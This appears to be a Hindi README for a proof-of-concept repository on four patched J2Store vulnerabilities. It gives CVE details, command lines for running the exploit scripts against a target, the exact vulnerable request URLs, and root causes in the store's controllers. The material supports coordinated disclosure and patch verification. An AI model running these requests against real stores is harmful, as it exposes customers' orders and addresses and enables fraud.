
J2Store CVE-2026-67358–67362 के लिए PoC (J2Commerce सुरक्षा सलाह अगस्त 2026)
com_j2store (J2Commerce J2Store) में चार कमजोरियों के लिए प्रूफ-ऑफ-कॉन्सेप्ट सामग्री, जिन्हें Murrez ने खोजा और निम्न संस्करणों में ठीक किया गया:
| ब्रांच | पैच किया गया संस्करण |
|---|
| J2Store 3.x | 3.3.21 |
| J2Store 4.0.x | 4.0.21 |
| J2Store 4.1.x | 4.1.6 |
आधिकारिक सलाह: J2Commerce सुरक्षा घोषणा (2026-08-20)
| CVE | समस्या | प्रमाणीकरण | CVSS 4.0 | गंभीरता |
|---|---|---|---|---|
| CVE-2026-67359 | expressconfirm के माध्यम से बिना प्रमाणीकरण के ऑर्डर आइटम पंक्तियाँ + कुल राशि | कोई नहीं | 8.7 | उच्च |
| CVE-2026-67360 | क्रॉस-कस्टमर reOrder IDOR (हमलावर के सत्र में पीड़ित का कार्ट/पता) | निम्न (लॉग-इन) | 8.7 | उच्च |
| CVE-2026-67358 | updateHitCount दूसरे ग्राहक का डाउनलोड कोटा खर्च कर देता है | निम्न (गेस्ट ऑर्डर टोकन) | 5.3 | मध्यम |
| CVE-2026-67362 | कार्ट कार्यों में ओपन रीडायरेक्ट (setcurrency, addItem, applyCoupon, applyVoucher) | कोई नहीं | 5.1 | मध्यम |
परीक्षित संस्करण: Joomla 5.x (स्थानीय लैब) पर J2Store Pro 4.1.5।
केवल अधिकृत सुरक्षा अनुसंधान और पैच सत्यापन के लिए। उन प्रणालियों के विरुद्ध उपयोग न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है।
pip install -r requirements.txt
Python 3.10+
डिफ़ॉल्ट लैब बेस URL: http://127.0.0.1:9991
# CVE-2026-67359 — unauth order disclosure
python poc/CVE-2026-67359_expressconfirm.py --base http://TARGET --order-id ORDER_ID
# CVE-2026-67362 — open redirect (checks Location header)
python poc/CVE-2026-67362_open_redirect.py --base http://TARGET
# CVE-2026-67358 — cross-order download quota burn
python poc/CVE-2026-67358_updateHitCount.py \
--base http://TARGET \
--order-id YOUR_ORDER_ID \
--token YOUR_ORDER_TOKEN \
--victim-orderdownload-id 2
# CVE-2026-67360 — reOrder IDOR (requires Joomla login + CSRF)
python poc/CVE-2026-67360_reOrder.py \
--base http://TARGET \
--order-id VICTIM_ORDER_ID \
--username USER --password PASS
# Run all applicable unauthenticated checks
python poc/run_all.py --base http://TARGET --order-id ORDER_ID
न्यूनतम Burp/curl रीप्ले: replay/
expressconfirm ऑर्डर प्रकटीकरणएंडपॉइंट: GET /index.php?option=com_j2store&view=checkout&task=expressconfirm&order_id=…
जब कोई सक्रिय चेकआउट सत्र मौजूद नहीं होता है, तो कोई भी order_id बिना प्रमाणीकरण के एक्सप्रेस-चेकआउट पुष्टिकरण पृष्ठ (आइटम पंक्तियाँ, मात्राएँ, मूल्य, कुल राशि) प्रस्तुत कर देता है।
मूल कारण: components/com_j2store/controllers/checkouts.php — expressconfirm() स्वामित्व जाँच के बिना अनुरोध-आपूर्ति किए गए order_id का उपयोग करता है।
reOrder IDORएंडपॉइंट: GET /index.php?option=com_j2store&view=myprofile&task=reOrder&order_id=…&{csrf}=1
प्रमाणित उपयोगकर्ता पीड़ित के order_id के साथ रीऑर्डर ट्रिगर कर सकता है: पीड़ित की आइटम पंक्तियाँ हमलावर के कार्ट में कॉपी हो जाती हैं; पीड़ित के बिलिंग/शिपिंग पता ID हमलावर के सत्र में संग्रहीत हो जाते हैं।
मूल कारण: components/com_j2store/controllers/myprofile.php — reOrder() CSRF और लॉगिन को सत्यापित करता है, लेकिन $order->user_id को नहीं।
updateHitCount कोटा हेरफेरएंडपॉइंट: POST /index.php?option=com_j2store&view=myprofile&task=updateHitCount
गेस्ट या ग्राहक अपने स्वयं के मान्य (order_id, token) युग्म के साथ किसी अन्य ऑर्डर के orderdownload_id पर limit_count बढ़ा सकता है। कोई CSRF टोकन आवश्यक नहीं है।
मूल कारण: components/com_j2store/controllers/myprofile.php — टोकन केवल कॉलर के ऑर्डर के विरुद्ध जाँचा जाता है; orderdownload_id उस ऑर्डर से बंधा नहीं है।
कार्य: carts.setcurrency, carts.addItem, carts.applyCoupon, carts.applyVoucher
Base64-एन्कोडेड redirect / return पैरामीटर डिकोड होकर होस्ट अलाउलिस्टिंग के बिना $app->redirect() में पास कर दिए जाते हैं। JRoute::_() पूर्ण बाहरी URL को ब्लॉक नहीं करता है।
मूल कारण: components/com_j2store/controllers/carts.php
विक्रेता सलाह में समस्याएँ 1, 2, 3 और 5 — Murrez ([email protected])।
J2Commerce और Joomla सुरक्षा स्ट्राइक टीम के माध्यम से समन्वित प्रकटीकरण।
MIT — देखें LICENSE।